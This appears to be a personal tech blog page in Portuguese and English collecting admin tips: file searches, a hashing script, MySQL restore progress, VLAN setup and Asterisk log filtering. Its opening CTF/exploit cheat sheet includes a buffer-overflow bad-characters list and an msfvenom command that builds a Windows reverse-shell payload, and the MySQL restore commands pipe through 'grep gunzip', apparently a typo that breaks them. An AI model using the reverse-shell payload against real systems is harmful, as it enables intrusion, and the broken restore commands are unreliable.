Useful commands (Linux, Windows, CTF, Exploit, etc…)

General

Search commands

Look for an text inside of file data

find / -type f -exec grep -Hn 'content_to_be_found' {} \;

Looking for writable files

find / -perm -2 ! -type l ! -path "/proc*" ! -path "/sys*" -ls 2>/dev/null

 

Buffer Overflow

Looking for and possible vulnerable code

find . -type f -exec grep -Hn 'strcpy' {} \; 
or
find . -type f -exec grep -Hn 'strcpy' {} \; | awk -F'[:(,)]' '{print $1 ":" $2 " ==> " $4 "|" $5 "|" $6}'

Bad Characters

badchars = ("\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")

Generating Payload

Generating an payload to be used at python script avoiding some bad characters

msfvenom -p windows/shell_reverse_tcp LHOST=<server_ip> LPORT=<server_port> -b '\x00\x0a\x0d' -f python

Decoding/printting an HEX Code

printf $(cat hexcode.txt | tr -d '\n')

Invertendo teclas F1, F2, etc…

Em alguns notebooks Dell as teclas F1, F2, etc… cem invertidas, ou seja, quando você pressiona F1 ao invés de executar a Função de F1, ele executa a função multimídia (em meu caso Mute).

Em computadores mais antigos a solução deste problema é ajustes na BIOS ou até em Mobility Center do windows.

No meu computador, em jun-2018, a solução deste problema é Pressionar as teclas (Fn) + (Esc Fn).

Script para decodificar arquivos .vbe | Script to decode .vbe files

Analisando um malware recebido por e-mail me deparei com um script VBA codificado, sendo assim busquei um script para decodificar e poder realizar a análise do mesmo, segue abaixo o script criado por Jean-Luc Antoine, podendo ser localizado em http://www.interclasse.com/scripts/decovbe.php During a malware analisis i had to try to decrypt an VBA Script, so looking for on internet i found this script bellow. This script was written by Jean-Luc Antoine

Leia mais

Gerando varios hashes (MD5, SHA1 e SHA256) ao mesmo tempo

O objetivo deste post é mostrar um script, simples, em bash para gerar os hashes MD5, SHA1 e SHA256 de um arquivo qualquer.

Mas ai você pode se perguntar, porque eu quero isso se posso simplesmente rodar os comandos manualmente e obter os hashes, simples, pois com este comando vc tem tudo em um unico comando e com a identificação de qual foi o algorítmo e o seu hash.

 

Crie o script abaixo com o nome /sbin/gethash

#!/bin/bash
#

if [ "$(id -u)" != "0" ]; then
   echo "Sorry, you must run this script as root." 1>&2
   exit 1
fi

if [ $# -lt 1 ]
  then
    echo "Usage: $0 file_name"
    exit 1
fi

echo "Generating hash, please wait..."

md5=$(md5sum "$1" | awk '{ print $1 }')
echo "MD5($1)= $md5"

sha1=$(sha1sum "$1" | awk '{ print $1 }')
echo "SHA1($1)= $sha1"


sha256=$(sha256sum "$1" | awk '{ print $1 }')
echo "SHA256($1)= $sha256"

 

Defina a permissão de execução para este script

chmod +x /sbin/gethash

E seja feliz!!!

# gethash teste.txt 
Generating hash, please wait...
MD5(teste.txt)= 7ded919cba92b59c28671227b1364297
SHA1(teste.txt)= 023749462808478515826213cb9eccf77c2823eb
SHA256(teste.txt)= c1b2ad9e5d95367f43ad67e5120cbdf868a3085d0a183b06af8101a2dc1bd258

Como mudar a pasta de backup do iTunes no computador

Por: HELITO BIJORA para o TechTudo

Fonte: http://www.techtudo.com.br/dicas-e-tutoriais/noticia/2015/08/como-mudar-pasta-de-backup-do-itunes-no-computador.html

*** Este arquivo é apenas uma cópia do original postado no TechTudo (acima referenciado)

O iTunes salva os backups de dispositivos iOS no disco C: do computador. Com isso, dependendo da quantidade e tamanho dos backups, a pasta pode ocupar vários gigabytes e faltar espaço na unidade do sistema. Veja como mover a pasta de backup do serviço para outra partição ou HD e criar um link simbólico na localização original.

Leia mais

Criando proxy vídeos para aumentar a velocidade de edição de vídeos

Como alguns sabem pratico Airsoft como esporte e tenho um canal no youtube (HelvioSniper) com os meus vídeos, dicas, tutoriais e etc…

Na busca por aperfeiçoamento fui buscar uma técnica para edição mais rápida uma vez que a cada jogo de duração média de 2 a 3 horas eu demoro +- 12 horas entre edição e renderização dos meus vídeos.

Nessa busca encontrei este vídeo abaixo:

Onde ele explica como realizar uma técnica que basicamente consiste em gerar uma versão em baixa qualidade (e pequeno tamanho de arquivo) para realizar a edição de forma fluida, e depois no momento da renderização colocar o software de edição a utilizar os arquivos originais com alta qualidade.

No vídeo ele explica este processo usando o aplicativo HandBrake, muito bom por sinal.

Mas como eu tenho um PC com uma placa de vídeo legal rodando em Linux, fui procurar alguma solução para aproveitar este PC durante este meu processo, então encontrei uma solução utilizando o ffmpeg.

PS: Apenas como observação, apesar de eu comentar que vou usar meu PC linux, o ffmpeg também pode ser usado no windows, conforme demonstro neste artigo (http://www.helviojunior.com.br/video/utilizando-ffmpeg-para-converter-videos-e-audio/).

Leia mais

Restaurando MySQL com informações de progresso

Uma das formas mais comuns de realização de Backup de uma base de Dados MySQL é através do mydqldump, porém quando necessita restaurar uma base de dados você fica sem um status de quanto ja foi processado para saber a final quanto tempo levará o processo todo.

Este artigo entende que fizemos o backup com mysqldump e o arquivo está compactado com Zgip.

Sendo assim a forma mais comum de realizar um restore é com um dos comandos abaixo:

cat backup.sql.gz | grep gunzip | mysql -u usuario -p
ou
zcat backup.sql.gz | mysql -u usuario -p

Porém nestes casos não temos nenhum status de quanto ja foi restaurado, sendo assim podemos usar a ferramenta DD (ja abordada em outro post aqui) para realizar a leitura do arquivo, e assim utilizar um sinal do linux para saber o quanto o DD ja leu o arquivo. Confuso? Então vamos aos comandos que tudo ficará mais claro.

Comando de restauração:

dd if=backup.sql.gz | grep gunzip | mysql -u usuario -p

Até aqui nenhuma novidade, só substituímos o cat pelo DD, a novidade vem agora, podemos usar o sinal -USR1 no processo do DD que ele imprimirá em tela o quanto ja leu do arquivo backup.sql.gz.

Primeiramente vamos descobrir o Process ID (PID) do DD com o comando:

ps aux | grep -i "command\|dd if" | grep -v mysql | grep -v grep

O Resultado do comando será algo parecido com a imagem abaixo:
ps

Agora de posse do PID podemos executar o comando mágico que trará quanto o nosso DD ja leu do arquivo

kill -USR1 26711

Quando executado este comando, na janela em que está sendo executado o DD ele irá trazer um resultado semelhante a imagem abaixo:
kill

Agora para fechar com chave de outro vamos criar um comando que fica enviando este sinal a nosso processo de tempo em tempo.

 while :; do kill -USR1 26711; sleep 30; done

Configurando 802.1q VLAN Tagging no ubuntu 16.04

1 – Realize a instalação do módulo

sudo apt-get install vlan

2 – Verifique se o módulo está carregado no kernel

lsmod | grep 8021q

3 – Se o módulo não tiver carregado, carregue com o seguinte comando:

modprobe 8021q

4 – Configure o módulo para iniciar automaticamente após o reboot

sudo sh -c 'grep -q 8021q /etc/modules-load.d/modules.conf || echo 8021q >> /etc/modules-load.d/modules.conf'

5 – Configure as interfaces editando o arquivo /etc/network/interfaces, onde o nome da interface será o nome da VLAN, e haverá um parâmetro vlan-raw-device onde será definido qual interface física deve ser usada. No exemplo abaixo vamos supor que nossa VLAN é 192 e a interface física a ser usada é a enp0s3:

auto vlan192
iface vlan192 inet static
address 192.168.1.1
netmask 255.255.255.0
vlan-raw-device enp0s3 

6 – Se houver a necessidade de configurar uma segunda VLAN, como por exemplo, VLAN ID 193, na mesma interface, adicione um novo trecho no arquivo /etc/network/interfaces com o device vlan193 seguindo o mesmo modelo apresentado.

7 – Reinicie as interfaces de rede para que o linux carregue as informações, com o seguinte comando:

/etc/init.d/networking restart

Filtrando logs de uma chamada no Asterisk

Uma das coisas mais interessantes do Asterisk é a capacidade de você tratar e identificar erros olhando somente o arquivo de log do mesmo.

Porém por ser bem detalhado e completo, dependendo da quantidade de chamadas simultâneas que há em seu ambiente é uma tarefa quase impossível ler este arquivo de log de uma forma que você possa isolar as informações de uma única ligação.

Buscando na internet encontrei um post bem interessante que mostra um comando linux para realizar essa atividade (http://hackrr.com/2013/asterisk/get-all-logs-of-a-number-that-was-dialed/), desta forma o meu intuito aqui é apenas incrementar este script para pegar dinamicamente o local  e nome do arquivo de log do asterisk e depois filtrar os logs necessários.

Segue abaixo o script completo. Basta salva-lo no local de sua preferência Ex.: /root/busca.sh

#/bin/bash
#

LOGPATH=$(cat /etc/asterisk/asterisk.conf | grep -v "^\s*[#\;]\|^\s*$" | grep --only-matching -i --perl-regex "(\bastlogdir\b).*" | cut -d'=' -f 2 | sed 's/>//g')
FILE=$(cat /etc/asterisk/logger.conf | grep -v "^\s*[#\;]\|^\s*$" | grep --only-matching -i --perl-regex "(\bfull\b).*" | cut -d'=' -f 1)
LOGFILE="$LOGPATH/$FILE"

grep $1 $LOGFILE | grep -o "C-[0-9a-f]\+" | uniq | xargs -I{} grep "\[{}\]" $LOGFILE

Agora depois de salvo basta executa-lo passando como parâmetro qualquer informação que você ache que possa localizar a chamada, lógico que quanto mais específico melhor. Ex.: Canal, contexto, peer e etc..

/root/busca.sh 'SIP/6619-00001121'